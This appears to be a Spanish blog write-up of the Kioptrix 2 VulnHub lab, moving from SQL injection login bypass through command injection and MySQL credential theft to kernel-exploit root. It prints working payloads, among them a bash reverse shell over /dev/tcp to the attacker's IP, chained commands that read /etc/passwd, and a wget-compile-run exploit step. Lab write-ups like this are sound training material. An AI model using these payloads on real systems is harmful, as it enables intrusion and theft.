Writeup #Kiotropix2 #vulnhub

En esta ocasión voy a resolver otra de las máquinas virtuales vulnerables de Kiotropix, la versión 2 que también se corresponde con la 1.1.

Lo primero de todo hago un sweep ping con nmap para dar con la IP de la máquinakio2_sweep_ping

Una vez localizada la IP, en mi caso la 192.168.1.105, hago un escaneo con nmap para ver los servicios que tiene disponibles.

nmap -A -T5 -Pn -n -oN nmap_scan.txt 192.168.1.105

kio2_nmap_complete

Para tener una lista más resumida de los puertos abiertos uso: grep open.

kio2_nmap_open

Ejecuto un mini script que tengo para organizar todo en carpetas según los servicios que tenga la máquina objetivo y así ir metiendo en cada una los datos obtenidos.


#!/bin/bash

scan_file="nmap_scan.txt"

for service in $(grep open $scan_file | awk '{print $3}' | tr -d '/'); do
    mkdir ../$service
    cat $scan_file | grep $service > ../$service/nmap_info.txt
done

kio2_dir

HTTP

Para servicios web, antes de pasarle cualquier escáner de vulnerabilidades siempre accedo a la página para ver posibles vectores de ataque.

kio2_web_login

En este caso muestra un panel login, así que lo primero que se me ocurre es intentar bypassearlo con una SQLi.

Username: admin
Password: a’ or ‘1’=’1

Como se puede ver, con una sencilla SQLi, hemos podido acceder a la página saltándonos el login.

kio2_web2

Tenemos una consola web para hacer ping a una máquina, por lo que seguramente sea vulnerable a command injection, así que vamos a probar a meter otro comando concatenando con ‘;’.

192.168.1.1; cat /etc/passwd

kio2_passwd

Vemos que es vulnerable, en caso de que php filtrara algún carácter como el ‘;’ para evitar el command injection podríamos probar con lo siguiente:

127.0.0.1 | cat /etc/passwd
127.0.0.1 & cat /etc/passwd
aasdfasfa || cat /etc/passwd
asdasdas |” “|cat /etc/passwd

Al poder ejecutar el comando que se nos venga en gana las posibilidades son muchísimas, por ejemplo sacar los usuarios del sistema como hemos hecho, para ver que servicios tiene u organizar ataques de fuerza bruta.

Yo en este caso lo que voy a hacer una reverse shell para acceder directamente al equipo.

Primero me pongo a la escucha con un netcat en el puerto 4444.

nc -lvp 4444

y luego ejecuto la reverse shell en la página web apuntando a mi IP.

127.0.0.1 ; bash -i >& /dev/tcp/192.168.1.106/4444 0>&1

kio2_nc

Una vez que estamos dentro comprobamos el usuario, en este caso apache por lo que no tenemos casi privilegios en el sistema.

MySQL

Dentro del directorio en el que estamos y como estamos con el usuario apache, podemos ver el fichero index.php, el cual tiene los datos de la conexión a la base de datos para comprobar que el usuario y la contraseñas introducidos sean válidos.

kio2_mysqlconn

username: john
password: hiroshima
db: webapp

Ya tenemos el usuario y contraseña para acceder a mysql y poder ver que datos hay en la base de datos.

mysql -u john -phiroshima -e “show databases”

kio2_showdb

Para seleccionar una base de datos y mostrar las tablas tenemos que concatenar las dos consultas por que no deja hacerlo por separado.

mysql -u john -phiroshima -e “use webapp; show tables”

kio2_mysqltables

mysql -u john -phiroshima -e “use webapp; select * from users”

kio2_mysqlusers

Estos son los datos de conexión para el panel de login de la web, por lo que no nos valen de mucho, así que voy mirar el contenido de la base de datos mysql.

mysql -u john -phiroshima -e “use mysql; show tables”
mysql -u john -phiroshima -e “use mysql; select * from user”
mysql -u john -phiroshima -e “use mysql; select user, password from user”

kio2_mysqlalldata

Tenemos los siguientes datos:

BBDD: mysql
root 5a6914ba69e02807
john 5a6914ba69e02807

Parece que las contraseñas están hasheadas, así que voy a pasárselas a john the ripper con el diccionario de rockyou.

kio2_crack

Tenemos que la contraseña de root y john de la base de datos mysql es hiroshima.

Con todos estos datos recolectados probé a conectarme por ssh, pero sin obtener ningún login valido, por lo que saltaré al paso de escalar privilegios.

PRIVILEGE ESCALATION

Tenemos que el sistema operativo es un GNU/Linux con distribución CentOS, y versión del kernel 2.6.9-55.

Buscando exploits para esta versión del kernel con searchsploit obtenemos los siguientes resultados:

searchsploit linux kernel 2.6 escalation centos

kio2_kernel

Pruebo con el primer exploit el 9479.c y lo que obtuve fue un kernel panic en la máquina de kiotropix 2… xD

kio2_kp

Con el siguiente exploit ya tuve más suerte, explico los pasos:

searchsploit linux kernel 2.6 escalation centos -w 9542.c

kio2_exploit2

Accedemos a la página web que nos devuelve de exploit-db y donde dice Download pinchamos con el botón derecho para copiar la ruta del enlace.

No vamos a la reverse shell que tenemos de kiotropix y nos movemos al directorio /tmp para poder descargar el exploit, compilarlo y ejecutarlo

$ cd /tmp
$ wget https://www.exploit-db.com/download/9542 –no-check-certificate
$ mv 9542 exploit.c
$ gcc exploit.c -o exploit
$ ./exploit
# id

kio2_done

Y ahí tenemos el ansiado root !

Esta entrada fue publicada en Vulnhub. Guarda el enlace permanente.

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión /  Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión /  Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión /  Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión /  Cambiar )

Conectando a %s